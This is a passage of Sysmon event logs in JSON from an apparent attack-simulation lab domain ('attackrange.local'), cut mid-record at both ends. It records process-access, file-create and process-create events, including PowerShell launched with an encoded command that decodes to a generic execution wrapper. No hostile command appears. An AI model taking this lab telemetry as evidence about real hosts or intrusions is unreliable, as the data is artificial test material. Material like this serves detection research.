11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","TargetProcessId":"4452","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","TargetProcessId":"4452","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.056\r\nProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nProcessId: 4452\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vboctwvz.fey.ps1\r\nCreationUtcTime: 2020-08-07 11:56:30.056","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.056","ProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vboctwvz.fey.ps1","CreationUtcTime":"2020-08-07 11:56:30.056","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.087\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.087","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","TargetProcessId":"4452","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.087\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.087","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","TargetProcessId":"4452","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.159\r\nProcessGuid: {90617006-416E-5F2D-0000-0010B61B0800}\r\nProcessId: 5048\r\nImage: C:\\Windows\\System32\\chcp.com\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Change CodePage Utility\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CHCP.COM\r\nCommandLine: \"C:\\Windows\\system32\\chcp.com\" 65001\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nParentProcessId: 4452\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.159","ProcessGuid":"{90617006-416E-5F2D-0000-0010B61B0800}","Image":"C:\\Windows\\System32\\chcp.com","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Change CodePage Utility","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"CHCP.COM","CommandLine":"\"C:\\Windows\\system32\\chcp.com\" 65001","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD","ParentProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","ParentProcessId":"4452","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nSourceProcessId: 4452\r\nSourceThreadId: 5088\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d0d2f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4